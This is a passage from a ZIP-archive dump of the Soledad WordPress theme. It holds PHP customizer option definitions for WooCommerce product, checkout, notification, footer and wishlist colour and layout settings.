	'label'    => __( 'Product Item Style 4 Add To Cart Hover Background Color', 'soledad' ),
);
/* Product Category Loop */
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Product Stock Progress Style', 'soledad' ),
	'id'       => 'penci_woo_product_loop_progress_section',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Progress Background Color', 'soledad' ),
	'id'       => 'penci_woo_product_loop_progress_bg_color',
);
$options[] = array(
	'id'          => 'penci_woo_product_loop_progress_height',
	'default'     => '',
	'sanitize'    => 'absint',
	'label'       => __( 'Custom Progress Bar Height', 'soledad' ),
	'description' => __( 'Set a custom height of the progress bar.', 'soledad' ),
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_woo_product_loop_progress_height',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Progress Active Background Color', 'soledad' ),
	'id'       => 'penci_woo_product_loop_progress_active_bg_color',
);
/* Product Category Loop */
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Product Category Loop Style', 'soledad' ),
	'id'       => 'penci_woo_section_product_cat_loop_color',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_woo_section_product_cat_loop_title_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Category Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_section_product_cat_loop_meta_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Meta Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_section_product_cat_loop_overlay_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Overlay Color', 'soledad' ),
);
/* Cross Sell & Related Products */
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Product Item Style (Apply for Related & Upsell Products)', 'soledad' ),
	'id'       => 'penci_woo_section_product_related_upsell_color',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'label'       => __( 'Product Item Title', 'soledad' ),
	'type'        => 'soledad-fw-color',
	'description' => __( 'Apply for Upsell & Relate Products on Single Product Page', 'soledad' ),
	'id'          => 'penci_woo_product_loop_title_color_reup',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'label'       => __( 'Product Item Price Color', 'soledad' ),
	'type'        => 'soledad-fw-color',
	'description' => __( 'Apply for Upsell & Relate Products on Single Product Page', 'soledad' ),
	'id'          => 'penci_woo_product_loop_price_color_reup',
);
$options[] = array(
	'id'          => 'penci_woo_product_loop_cat_color_reup',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Cat Color', 'soledad' ),
	'description' => __( 'Apply for Upsell & Relate Products on Single Product Page', 'soledad' ),
);
$options[] = array(
	'id'          => 'penci_woo_product_loop_cat_hover_color_reup',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Cat Hover Color', 'soledad' ),
	'description' => __( 'Apply for Upsell & Relate Products on Single Product Page', 'soledad' ),
);
/* Cross Sell Products */
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Product Item Style (Apply for Crossell Products)', 'soledad' ),
	'id'       => 'penci_woo_section_product_crossell_color',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Title', 'soledad' ),
	'description' => __( 'Apply for Crossell Products on Cart Page', 'soledad' ),
	'id'          => 'penci_woo_product_loop_title_color_cross',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Price Color', 'soledad' ),
	'description' => __( 'Apply for Crossell Products on Cart Page', 'soledad' ),
	'id'          => 'penci_woo_product_loop_price_color_cross',
);
$options[] = array(
	'id'          => 'penci_woo_product_loop_cat_color_cross',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Cat Color', 'soledad' ),
	'description' => __( 'Apply for Crossell Products on Cart Page', 'soledad' ),
);
$options[] = array(
	'id'          => 'penci_woo_product_loop_cat_hover_color_cross',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Cat Hover Color', 'soledad' ),
	'description' => __( 'Apply for Crossell Products on Cart Page', 'soledad' ),
);
/* Product Page */
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Product Page', 'soledad' ),
	'id'       => 'penci_woo_section_product_page_color',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Page General Text Color', 'soledad' ),
	'id'       => 'penci_product_page_general_text_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Page Links Color', 'soledad' ),
	'id'       => 'penci_product_page_general_link_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Page Links Hover Color', 'soledad' ),
	'id'       => 'penci_product_page_general_link_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Page General Border Color', 'soledad' ),
	'id'       => 'penci_product_page_general_border_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Swatches Button Border Color', 'soledad' ),
	'id'       => 'penci_product_page_button_swatches_border_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Swatches Button Border Hover Color', 'soledad' ),
	'id'       => 'penci_product_page_button_swatches_border_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Swatches Button Background Color', 'soledad' ),
	'id'       => 'penci_product_page_button_swatches_bg_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Swatches Button Background Hover Color', 'soledad' ),
	'id'       => 'penci_product_page_button_swatches_bg_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Add To Cart Background Color', 'soledad' ),
	'id'       => 'penci_product_page_button_atc_bg_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Add To Cart Background Hover Color', 'soledad' ),
	'id'       => 'penci_product_page_button_atc_bg_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Meta Color', 'soledad' ),
	'id'       => 'penci_product_page_meta_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Meta Link Color', 'soledad' ),
	'id'       => 'penci_product_page_meta_link_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Meta Link Hover Color', 'soledad' ),
	'id'       => 'penci_product_page_meta_link_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Tab Title Color', 'soledad' ),
	'id'       => 'penci_product_page_tab_title_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Tab Title Active Color', 'soledad' ),
	'id'       => 'penci_product_page_tab_title_active_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'WooCommerce Additional Pages', 'soledad' ),
	'id'       => 'penci_woo_section_woo_page',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Title Color', 'soledad' ),
	'id'       => 'penci_woo_page_title_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Background Color', 'soledad' ),
	'id'       => 'penci_woo_page_button_bg_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Background HoverColor', 'soledad' ),
	'id'       => 'penci_woo_page_button_bg_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Secondary Button Background Color', 'soledad' ),
	'id'       => 'penci_woo_page_button_alt_bg_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Secondary Button Background Color', 'soledad' ),
	'id'       => 'penci_woo_page_button_alt_bg_hover_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Loading Icon', 'soledad' ),
	'id'       => 'penci_woo_loading_ic_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Circle Loading First Color', 'soledad' ),
	'id'       => 'penci_woo_loading_cl1',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Circle Loading Second Color', 'soledad' ),
	'id'       => 'penci_woo_loading_cl2',
);
// checkout pages
$options[] = array(
	'default' => '',
	'type'    => 'soledad-fw-header',
	'label'   => __( 'Checkout Page Color', 'soledad' ),
	'id'      => 'penci_woo_checkout_head',
);
$options[] = array(
	'id'        => 'penci_woo_checkout_breadcrumb_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Breadcrumb Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_breadcrumb_active_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Breadcrumb Active Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_form_label_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Label Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_form_border_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Form Input Border Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_form_border_focus_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Form Input Focus Border Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_form_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Form Input Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_form_bg_focus_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Form Input Focus Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_order_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Order Form Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_order_table_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Order Form Table Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_order_table_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Order Form Table Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_order_head_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Order Form Table Head Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_order_accent_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Order Form Table Accent Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_order_table_border_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Order Form Table Border Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_btn_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_btn_txt_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_btn_hover_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_btn_hover_txt_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Hover Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_review_order_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Review Order Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_before_content',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => __( 'Custom Content Before Checkout Form', 'soledad' ),
	'type'     => 'soledad-fw-textarea',
);
$options[] = array(
	'id'       => 'penci_woo_checkout_after_content',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => __( 'Custom Content After Checkout Form', 'soledad' ),
	'type'     => 'soledad-fw-textarea',
);
/* Notice Color*/
$options[] = array(
	'default' => '',
	'type'    => 'soledad-fw-header',
	'label'   => __( 'Notices Color', 'soledad' ),
	'id'      => 'penci_header_notice_color_head',
);
$options[] = array(
	'id'        => 'penci_woo_notice_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Notice Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_notice_txt_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Notice Text Color', 'soledad' ),
);

return $options;
PK     N\    G  inc/customizer/config/sections/pencidesign_woo_toast_notify_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'       => 'penci_general_heading_3',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Notifications Settings', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_woo_notify',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Notify', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_woo_add_to_cart_notify',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Added to Cart Notify', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_woo_notify_position',
	'default'     => 'bottom-right',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Notify Position', 'soledad' ),
	'description' => __( 'Select the position of the notification you want to display', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'top-left'      => __('Top Left','soledad' ),
		'top-right'     => __('Top Right','soledad' ),
		'top-center'    => __('Top Center','soledad' ),
		'mid-center'    => __('Middle Center','soledad' ),
		'bottom-left'   => __('Bottom Left','soledad' ),
		'bottom-right'  => __('Bottom Right','soledad' ),
		'bottom-center' => __('Bottom Center','soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_woo_notify_text_align',
	'default'     => 'left',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Notify Text Align', 'soledad' ),
	'description' => __( 'Select the text align of the notification you want to display', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'left'   => __('Left','soledad' ),
		'right'  => __('Right','soledad' ),
		'center' => __('Center','soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_woo_notify_transition',
	'default'     => 'slide',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Notify Transition Effect', 'soledad' ),
	'description' => __( 'Select the transition effect of the notify', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'plain' => __('Plain','soledad' ),
		'fade'  => __('Fade','soledad' ),
		'slide' => __('Slide','soledad' ),
	)
);
$options[] = array(
	'id'       => 'penci_woo_notify_hide_after',
	'default'  => '5000',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Hide the Notify after miliseconds', 'soledad' ),
	'ids'      => array(
		'desktop' => 'penci_woo_notify_hide_after',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'ms',
			'default' => '5000',
		),
	),
);
$options[] = array(
	'id'        => 'penci_woo_notify_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Notify Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_notify_text_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Notify Text Color', 'soledad' ),
);

return $options;
PK     N\h>      F  inc/customizer/config/sections/penci_section_footer_colors_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'Footer Section Background Color', 'soledad' ),
	'id'       => 'penci_footer_copyright_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Footer Section Background Image', 'soledad' ),
	'id'       => 'penci_footer_copyright_bg_image',
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'label'    => esc_html__( 'Footer Widgets Area', 'soledad' ),
	'id'       => 'penci_footer_warea_heading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field',
);
$options[] = array(
	'label'    => __( 'Footer Widget Area Background', 'soledad' ),
	'id'       => 'penci_footer_widget_area_bg',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Widget Area Border Top Color', 'soledad' ),
	'id'       => 'penci_footer_widget_area_border',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Footer Widget Area Background Image', 'soledad' ),
	'id'       => 'penci_footer_widget_bg_image',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Widget Area Text Color', 'soledad' ),
	'id'       => 'penci_footer_widget_area_text_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Widget Area Borders Color for List', 'soledad' ),
	'id'       => 'penci_footer_widget_area_list_border',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Widget Title Text Color', 'soledad' ),
	'id'       => 'penci_footer_widget_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Widget Title Border Color', 'soledad' ),
	'id'       => 'penci_footer_widget_title_border_color',
);
$options[] = array(
	'default'  => '3',
	'sanitize' => 'absint',
	'label'    => __( 'Border Width of Footer Widget Titles', 'soledad' ),
	'id'       => 'penci_footer_widget_title_border_width',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_footer_widget_title_border_width',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => 3,
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Widget Accent Color', 'soledad' ),
	'id'       => 'penci_footer_widget_accent_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Widget Accent Hover Color', 'soledad' ),
	'id'       => 'penci_footer_widget_accent_hover_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Footer Instagram', 'soledad' ),
	'id'       => 'penci_footer_instagram_bheading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Instagram Border Top Color', 'soledad' ),
	'id'       => 'footer_instagram_border_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Instagram Title Color', 'soledad' ),
	'id'       => 'penci_footer_instagram_title_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Footer Social Icons', 'soledad' ),
	'id'       => 'penci_footer_socialicons_bheading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Social Icons Border & Color', 'soledad' ),
	'id'       => 'penci_footer_icon_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Social Icons Hover Icons Color', 'soledad' ),
	'id'       => 'penci_footer_icon_hover_icon_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Social Icons Hover Border & Background Color', 'soledad' ),
	'id'       => 'penci_footer_icon_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Social Text Color', 'soledad' ),
	'id'       => 'penci_footer_social_text_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Social Hover Text Color', 'soledad' ),
	'id'       => 'penci_footer_social_hover_text_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Social Section Border Color', 'soledad' ),
	'id'       => 'penci_footer_social_border_color',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Footer Social Section Background Color', 'soledad' ),
	'id'          => 'penci_footer_social_bgcolor',
	'description' => __( 'This option just applies when you re-order the social icons section to higher than other sections', 'soledad' ),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Footer Menu', 'soledad' ),
	'id'       => 'penci_footer_menu_bheading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Menu Text Color', 'soledad' ),
	'id'       => 'penci_footer_menu_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Menu Text Color Hover', 'soledad' ),
	'id'       => 'penci_footer_menu_color_hover',
);
$options[] = array(
	'label'    => esc_html__( 'Footer Copyright Text', 'soledad' ),
	'id'       => 'penci_footer_copyright_bheading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Footer Copyright Text Color', 'soledad' ),
	'id'       => 'penci_footer_copyright_text_color',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Copyright Accent Color', 'soledad' ),
	'id'       => 'penci_footer_copyright_accent_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Go to Top Button', 'soledad' ),
	'id'       => 'penci_footer_gototop_bheading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Go To Top Text & Icon Color', 'soledad' ),
	'id'       => 'penci_footer_go_top_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Go To Top Text & Icon Hover Color', 'soledad' ),
	'id'       => 'penci_footer_go_top_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Go To Top Button Floating Background Color', 'soledad' ),
	'id'       => 'penci_footer_go_top_float_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Go To Top Button Floating Icon Color', 'soledad' ),
	'id'       => 'penci_footer_go_top_float_icon_color',
);

return $options;
PK     N\l'	%  %  L  inc/customizer/config/sections/pencidesign_woo_wishlist_settings_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Wishlist', 'soledad' ),
	'description'=>__('Enable wishlist functionality built in with the theme.','soledad'),
	'id'          => 'penci_woocommerce_wishlist',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_woo_shop_hide_wishlist_icon',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Header Wishlist Icon', 'soledad' ),
	'type'     => 'soledad-fw-toggle'
);
if ( function_exists( 'penci_get_pages_option' ) ) {
	$options[] = array(
		'default'     => '',
		'sanitize'    => 'penci_sanitize_choices_field',
		'label'       => __( 'Wishlist page', 'soledad' ),
		'description'=>__('Select a page for the wishlist table. It should contain the shortcode: [penci_wishlist]','soledad'),
		'id'          => 'penci_woocommerce_wishlist_page',
		'type'        => 'soledad-fw-select',
		'choices'     => penci_get_pages_option()
	);
}
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Only for logged in', 'soledad' ),
	'description'=>__('Disable wishlist for guests customers.','soledad'),
	'id'          => 'penci_woocommerce_wishlist_only_logged_in',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show button on product grid', 'soledad' ),
	'description'=>__('Display wishlist product button on all products grids and lists.','soledad'),
	'id'          => 'penci_woocommerce_wishlist_show',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_woocommerce_wishlist_ppp',
	'default'  => '24',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Products Items Per Page', 'soledad' ),
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woocommerce_wishlist_ppp',
	),
	'choices'  => array(
		'desktop' => array(
